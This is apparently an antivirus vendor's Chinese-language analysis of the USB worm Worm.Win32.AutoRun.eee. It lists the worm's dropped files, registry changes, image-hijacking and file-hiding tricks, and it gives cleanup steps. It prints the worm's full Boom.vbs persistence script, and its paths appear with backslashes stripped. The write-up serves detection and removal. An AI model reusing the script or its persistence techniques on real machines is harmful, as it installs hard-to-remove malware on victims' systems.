病毒标签病毒名称： Worm.Win32.AutoRun.eee
中文名称： U盘寄生虫变种
病毒类型：蠕虫
文件 MD5： E4EFBDEEEDF0294E380578767D7217F3
公开范围：完全公开
危害等级： 4
文件长度： 237,568 字节
感染系统： Windows98以上版本
开发工具： Microsoft Visual Basic 5.0 / 6.0
加壳类型： 无
病毒描述该病毒为蠕虫类。病毒运行后释放文件到系统目录下，自动打开病毒运行时所在路径的文件夹，采用U盘寄生虫技术在各个逻辑磁盘根目录下创建autorun.inf与MS-DOS.com文件，达到中毒机器在常态下病毒文件的传播；病毒的启动方式采用多样化，即使病毒在注册表中的启动项被删除，病毒还可以被启动；双重文件隐藏保护，设置文件夹选项中的隐藏系统保护文件选项不可用及隐藏指定后缀名文件；伪装及映像劫持技术，映像劫持多个系统关键进程文件，将病毒文件伪装成系统更新文件以及注册表打开程序等；病毒文件
采用文件夹图标并在系统备份文件夹内建立与病毒相应名称的系统文件，让用户认为其是正常的系统文件，以达到混淆视听的目的；保持中毒原有状态，对开机关机优化设置，使得开关机速度提升，使用户感觉不到因为机器中毒拖慢系统；病毒采用进程互锁技术，病毒完全运行后创建多个进程，各进程互相保护。
行为分析本地行为：
1、文件运行后会衍生以下文件：
%DriveLetter%autorun.inf
%Temp%~DF7634.tmp
%Temp%~DF8840.tmp
%Temp%~DF9A47.tmp
%DriveLetter%MS-DOS.com
%Windir%CursorsBoom.vbs
%Windir%FontsFonts.exe
%Windir%Fontsskmgr.exe
%Windir%Media
ndll32.pif
%Windir%pchealthGlobal.exe
%Windir%pchealthhelpctrinariesHelpHost.com
%Windir%systemKEYBOARD.exe
%System32%dllcacheautorun.inf
%System32%dllcacheDefault.exe
%System32%dllcacheGlobal.exe
%System32%dllcacheRecycler.{645FF040-5081-101B-9F08-
00AA002F954E}Global.exe
%System32%dllcacheRecycler.{645FF040-5081-101B-9F08-
00AA002F954E}svchost.exe
%System32%dllcacheRecycler.{645FF040-5081-101B-9F08-
00AA002F954E}system.exe
%System32%dllcache
ndll32.exe
%System32%dllcachesvchost.exe
%System32%dllcacheskmgr.exe
%System32%driversdrivers.cab.exe
%System32%
egedit.exe
2、修改注册表：
HKEY_CURRENT_USERControl Panel
DesktopSCRNSAVE.EXE
新: 字符串: "C:WINDOWSpchealthhelpctr
inariesHelpHost.com"
旧: 字符串: "C:WINDOWSsystem32logon.scr"
描述：设置屏幕保护为病毒文件
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsCurrentVersionExplorer
AdvancedShowSuperHidden
新: DWORD: 0 (0)
旧: DWORD: 1 (0x1)
描述：修改文件夹不可见隐藏文件
HKEY_LOCAL_MACHINESOFTWAREClasses
MSCFileShellOpenCommand@
新: 字符串: "C:WINDOWSFontsFonts.exe"
旧: 字符串： %SystemRoot%system32mmc.exe "%1"
描述：修改在运行命令中输入mmc.exe时候运行病毒
HKEY_LOCAL_MACHINESOFTWAREClasses
egfileshellopencommand@
新: 字符串: "C:WINDOWSpchealthGlobal.exe"
旧: 字符串: "regedit.exe "%1""
描述：修改在运行命令中输入regedit.exe时候运行病毒
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsCurrentVersionRunOnce@
键值: 字符串: "C:WINDOWSsystem32dllcacheDefault.exe"
描述：添加启动项
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsShellNoRoamMUICacheC:WINDOWS
system32dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}Global.exe
键值: 字符串: "Global"
描述：添加启动项
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsShellNoRoamMUICacheC:WINDOWS
system32dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}svchost.exe
键值: 字符串: "svchost"
描述：添加启动项
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsShellNoRoamMUICacheC:WINDOWS
system32dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}system.exe
键值: 字符串: "system"
描述：添加启动项
HKEY_CURRENT_USERSoftwarePolicies
MicrosoftWindowsSystemScriptsLogoff Script
键值: 字符串: "C:WINDOWSCursorsBoom.vbs"
描述：系统注销时启动病毒脚本
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Optionsauto.exeDebugger
键值: 字符串: "C:WINDOWSsystem32driversdrivers.cab.exe"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Optionsoot.exeDebugger
键值: 字符串: "C:WINDOWSFontsfonts.exe"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Optionsmsconfig.exeDebugger
键值: 字符串: "C:WINDOWSMedia
ndll32.pif"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Optionsprocexp.exeDebugger
描述：添加映像劫持项
键值: 字符串: "C:WINDOWSpchealthhelpctr
inariesHelpHost.com"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersionImage File Execution Options
askmgr.exeDebugger
键值: 字符串: "C:WINDOWSFontsskmgr.exe"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
WindowsCurrentVersionpoliciesExplorerRunsys
键值: 字符串: "C:WINDOWSFontsFonts.exe"
描述：添加启动项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
WindowsCurrentVersionRun@
键值: 字符串: "C:WINDOWSsystemKEYBOARD.exe"
描述：添加启动项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
WindowsCurrentVersionRunOnce@
键值: 字符串: "C:WINDOWSsystem32dllcacheDefault.exe"
描述：添加启动项
HKEY_LOCAL_MACHINESOFTWAREPolicies
MicrosoftWindowsSystemScripts
Shutdown Script
键值: 字符串: "C:WINDOWSCursorsBoom.vbs"
描述：系统关闭时启动病毒脚本
HKEY_LOCAL_MACHINESOFTWAREPolicies
MicrosoftWindowsSystemScripts
Startup Script
键值: 字符串: "C:WINDOWSCursorsBoom.vbs"
描述：系统启动时启动病毒脚本
3. 利用vbs脚本在中毒机器注销、关机、启动进行病毒文件复制及启动项的添加，Boom.vbs文件：
dim fs,rg
set fs = createobject("scripting.filesystemobject")
set rg = createobject("wscript.shell")
on error resume next
rg.regwrite "HKCR.vbs", "VBSFile"
rg.regwrite "HKCUControl PanelDesktopSCRNSAVE.EXE", "
C:WINDOWSpchealthhelpctrinariesHelpHost.com"
rg.regwrite "HKCUControl PanelDesktopScreenSaveTimeOut", "30"
rg.regwrite "HKCRMSCFileShellOpenCommand",
"C:WINDOWSpchealthGlobal.exe"
rg.regwrite "HKCR
egfileShellOpenCommand",
"C:WINDOWSpchealthGlobal.exe"
rg.regwrite "HKLMSOFTWAREMicrosoftWindows
CurrentVersionRunOnce",
"C:WINDOWSsystem32dllcacheDefault.exe"
rg.regwrite "HKCUSOFTWAREMicrosoftWindows
CurrentVersionRunOnce",
"C:WINDOWSsystem32dllcacheDefault.exe"
rg.regwrite "HKLMSOFTWAREMicrosoft
WindowsCurrentVersionRun",
"C:WINDOWSsystemKEYBOARD.exe"
rg.regwrite "HKEY_CLASSES_ROOTMSCFile
ShellOpenCommand",
"C:WINDOWSFontsFonts.exe"
rg.regwrite "HKCUSoftwarePoliciesMicrosoft
WindowsSystemScriptsLogoff DisplayName",
"Local Group Policy"
rg.regwrite "HKCUSoftwarePoliciesMicrosoft
WindowsSystemScriptsLogoff FileSysPath",""
rg.regwrite "HKCUSoftwarePoliciesMicrosoft
WindowsSystemScriptsLogoff GPO-ID","LocalGPO"
rg.regwrite "HKCUSoftwarePoliciesMicrosoft
WindowsSystemScriptsLogoff GPOName","Local Group Policy"
rg.regwrite "HKCUSoftwarePoliciesMicrosoft
WindowsSystemScriptsLogoff SOM-ID","Local"
rg.regwrite "HKCUSoftwarePoliciesMicrosoft
WindowsSystemScriptsLogoff Parameters",""
rg.regwrite "HKCUSoftwarePoliciesMicrosoftWindowsSystem
ScriptsLogoff Script","C:WINDOWSCursorsBoom.vbs"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown DisplayName",
"Local Group Policy"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown FileSysPath", ""
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown GPO-ID", "LocalGPO"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown GPOName",
"Local Group Policy"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown SOM-ID", "Local"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown Parameters", ""
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsShutdown Script",
"C:WINDOWSCursorsBoom.vbs"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup DisplayName",
"Local Group Policy"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup FileSysPath", ""
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup GPO-ID", "LocalGPO"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup GPOName",
"Local Group Policy"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup SOM-ID", "Local"
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup Parameters", ""
rg.regwrite "HKLMSoftwarePoliciesMicrosoft
WindowsSystemScriptsStartup Script",
"C:WINDOWSCursorsBoom.vbs"
If Not fs.fileexists("C:WINDOWSFontsFonts.exe")
Then fs.copyfile ("C:WINDOWSHelpmicrosoft.hlp"),
("C:WINDOWSFontsFonts.exe")
If Not fs.fileexists("C:WINDOWSpchealthhelpctr
inariesHelpHost.com") Then fs.copyfile
("C:WINDOWSHelpmicrosoft.hlp"),
("C:WINDOWSpchealthhelpctrinariesHelpHost.com")
If Not fs.fileexists("C:WINDOWSpchealthGlobal.exe")
Then fs.copyfile ("C:WINDOWSHelpmicrosoft.hlp"),
("C:WINDOWSpchealthGlobal.exe")
If Not fs.fileexists("C:WINDOWSsystemKEYBOARD.exe")
Then fs.copyfile ("C:WINDOWSHelpmicrosoft.hlp"),
("C:WINDOWSsystemKEYBOARD.exe")
If Not fs.fileexists("C:WINDOWSsystem32dllcache
Default.exe") Then fs.copyfile
("C:WINDOWSHelpmicrosoft.hlp"),
("C:WINDOWSsystem32dllcacheDefault.exe")
If Not fs.fileexists("C:windowssystem32
driversdrivers.cab.exe") Then fs.copyfile
("C:WINDOWSHelpmicrosoft.hlp"),
("C:windowssystem32driversdrivers.cab.exe ")
If Not fs.fileexists("C:windowsmedia
ndll32.pif ")
Then fs.copyfile ("C:WINDOWSHelpmicrosoft.hlp"),
("C:windowsmedia
ndll32.pif")
If Not fs.fileexists("C:windowsfontsskmgr.exe")
Then fs.copyfile ("C:WINDOWSHelpmicrosoft.hlp"),
("C:windowsfontsskmgr.exe")
4. 启动方式多样化：
将系统默认屏幕保护程序%System32%logon.scr替换成病毒文件%Windir%pchealthhelpctrinariesHelpHost.com并修改屏幕保护启动时间为30s；在Logoff（注销）、Shutdown（关机）、Startup（启动）中加载病毒脚本%Windir% CursorsBoom.vbs"，达到保持病毒文件和启动项的完整；修改注册在开机运行项
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
CurrentVersionRun、登陆用户运行项
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
CurrentVersionRunOnce、系统文件Explorer.exe文件加载项
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
CurrentVersionpoliciesExplorerRunsys，
添加了病毒文件的启动。
5. 双重文件隐藏方式：
病毒运行后将衍生文件设置成系统隐藏文件，并修改注册表，隐藏受保护的操作系统：
HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionExplorerAdvancedShowSuperHidden设置为关；
病毒文件主要以.EXE与.COM为后缀名，
所以设置HKEY_LOCAL_MACHINESOFTWAREClasses
comfileNeverShowExt、
HKEY_LOCAL_MACHINESOFTWAREClassesexefile
NeverShowExt为关，即使启用系统受保护文件选项为开，
也是看不到病毒文件原型的。
6. 伪装技术加映像劫持：
该病毒将释放文件名设置成regedit.exe、svchost.exe、msconfig.exe、tskmgr.exe、HelpHost.com等来伪装成系统文件，使得用户无法分辨；劫持在运行命令（cmd.exe）中运行regedit.exe与mmc.exe运行病毒文件；映像劫持系统文件ctfmon.exe、msconfig.exe、taskmgr.exe、autorun.exe及系统辅助工具autoruns.exe、auto.exe，达到系统加载以上文件或是运行以上文件时就运行病毒。
7. 混淆视听：
该病毒衍生的文件图标为文件夹图标，误导用户，使用户认为该病毒是文件夹，导致误运行病毒文件；将系统文件%system32%askmgr.exe和%system32%
undll32.exe复制到系统备份目录%System32%dllcache下，并分别重命名为tskgr.exe和rndll32.pif；病毒衍生文件%Windir%Fontsskmgr.exe、%Windir%Media
ndll32.pif；以达到混淆视听的作用。
8. 保持计算机原有状态：
病毒通过修改注册表，进行开机关机优化设置，使得开关机速度提升，使计算机不会因为运行多个病毒文件拖慢系统，修改如下：
HKEY_CURRENT_USERControl PanelDesktopAutoEndTasks
新: 字符串: "1"
旧: 字符串: "
HKEY_LOCAL_MACHINESOFTWAREMicrosoftDfrg
BootOptimizeFunctionLcnEndLocation
新: 字符串: "642218"
旧: 字符串: "0"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftDfrg
BootOptimizeFunctionLcnStartLocation
新: 字符串: "550001"
旧: 字符串: "0"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftDfrg
BootOptimizeFunctionOptimizeComplete
新: 字符串: "Yes"
旧: 字符串: "No"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftDfrg
BootOptimizeFunctionOptimizeError
新: 字符串: " "
旧: 字符串: "Not Run"
9. 进程互锁：
病毒完全运行后创建Global.exe、svchost.exe、system.exe进程，以达到进程互相保护。
注： %System32% 是一个可变路径。病毒通过查询操作系统来决定当前 System文件夹的位置。
%Windir% WINDODWS所在目录
%DriveLetter% 逻辑驱动器根目录
%ProgramFiles% 系统程序默认安装目录
%HomeDrive% 当前启动的系统的所在分区
%Documents and Settings% 当前用户文档根目录
%Temp% Documents and Settings当前用户Local SettingsTemp
%System32% 系统的 System32文件夹
Windows2000/NT中默认的安装路径是C:WinntSystem32
windows95/98/me中默认的安装路径是C:WindowsSystem
windowsXP中默认的安装路径是C:WindowsSystem32
清除方案1、使用安天防线可彻底清除此病毒(推荐)，安天防线下载地址：http://www.antiyfx.com/download.htm
2、手工清除请按照行为分析删除对应文件，恢复相关系统设置。
推荐使用ATool（安天安全管理工具），ATool下载地址：http://www.antiy.com/freetools/atool.htm
(1)使用安天防线或ATool中的“进程管理”关闭病毒进程：
强行结束为以下路径的进程：
%System32%dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E} Global.exe
%System32%dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}svchost.exe
%System32%dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}system.exe
(2)强行删除病毒文件：
%DriveLetter%autorun.inf
%Temp%~DF7634.tmp
%Temp%~DF8840.tmp
%Temp%~DF9A47.tmp
%DriveLetter%MS-DOS.com
%Windir%CursorsBoom.vbs
%Windir%FontsFonts.exe
%Windir%Fontsskmgr.exe
%Windir%Media
ndll32.pif
%Windir%pchealthGlobal.exe
%Windir%pchealthhelpctrinariesHelpHost.com
%Windir%systemKEYBOARD.exe
%System32%dllcacheautorun.inf
%System32%dllcacheDefault.exe
%System32%dllcacheGlobal.exe
%System32%dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}Global.exe
%System32%dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}svchost.exe
%System32%dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}system.exe
%System32%dllcache
ndll32.exe
%System32%dllcachesvchost.exe
%System32%dllcacheskmgr.exe
%System32%driversdrivers.cab.exe
%System32%
egedit.exe
(3)恢复病毒修改的注册表项目，删除病毒添加的注册表项：
HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE
新: 字符串: "C:WINDOWSpchealth
helpctrinariesHelpHost.com"
旧: 字符串: "C:WINDOWSsystem32logon.scr"
描述：设置屏幕保护为病毒文件
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsCurrentVersionExplorer
AdvancedShowSuperHidden
新: DWORD: 0 (0)
旧: DWORD: 1 (0x1)
描述：修改文件夹不可见隐藏文件
HKEY_LOCAL_MACHINESOFTWAREClasses
MSCFileShellOpenCommand@
新: 字符串: "C:WINDOWSFontsFonts.exe"
旧: 字符串： %SystemRoot%system32mmc.exe "%1"
描述：修改在运行命令中输入mmc.exe时候运行病毒
HKEY_LOCAL_MACHINESOFTWAREClasses
egfileshellopencommand@
新: 字符串: "C:WINDOWSpchealthGlobal.exe"
旧: 字符串: "regedit.exe "%1""
描述：修改在运行命令中输入regedit.exe时候运行病毒
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsCurrentVersionRunOnce@
键值: 字符串: "C:WINDOWSsystem32
dllcacheDefault.exe"
描述：添加启动项
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsShellNoRoamMUICache
C:WINDOWSsystem32dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}
Global.exe
键值: 字符串: "Global"
描述：添加启动项
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsShellNoRoamMUICache
C:WINDOWSsystem32dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}
svchost.exe
键值: 字符串: "svchost"
描述：添加启动项
HKEY_CURRENT_USERSoftwareMicrosoft
WindowsShellNoRoamMUICache
C:WINDOWSsystem32dllcacheRecycler.
{645FF040-5081-101B-9F08-00AA002F954E}
system.exe
键值: 字符串: "system"
描述：添加启动项
HKEY_CURRENT_USERSoftwarePolicies
MicrosoftWindowsSystemScripts
Logoff Script
键值: 字符串: "C:WINDOWSCursorsBoom.vbs"
描述：系统注销时启动病毒脚本
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Optionsauto.exe
Debugger
键值: 字符串: "C:WINDOWSsystem32
driversdrivers.cab.exe"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Optionsoot.exeDebugger
键值: 字符串: "C:WINDOWSFontsfonts.exe"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Options
msconfig.exeDebugger
键值: 字符串: "C:WINDOWSMedia
ndll32.pif"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Options
procexp.exeDebugger
描述：添加映像劫持项
键值: 字符串: "C:WINDOWSpchealth
helpctrinariesHelpHost.com"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
Windows NTCurrentVersion
Image File Execution Options
askmgr.exeDebugger
键值: 字符串: "C:WINDOWSFontsskmgr.exe"
描述：添加映像劫持项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
WindowsCurrentVersionpolicies
ExplorerRunsys
键值: 字符串: "C:WINDOWSFontsFonts.exe"
描述：添加启动项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
WindowsCurrentVersionRun@
键值: 字符串: "C:WINDOWSsystemKEYBOARD.exe"
描述：添加启动项
HKEY_LOCAL_MACHINESOFTWAREMicrosoft
WindowsCurrentVersionRunOnce@
键值: 字符串: "C:WINDOWSsystem32
dllcacheDefault.exe"
描述：添加启动项
HKEY_LOCAL_MACHINESOFTWAREPolicies
MicrosoftWindowsSystemScripts
Shutdown Script
键值: 字符串: "C:WINDOWSCursorsBoom.vbs"
描述：系统关闭时启动病毒脚本
HKEY_LOCAL_MACHINESOFTWAREPolicies
MicrosoftWindowsSystemScriptsStartup Script
键值: 字符串: "C:WINDOWSCursorsBoom.vbs"
描述：系统启动时启动病毒脚本
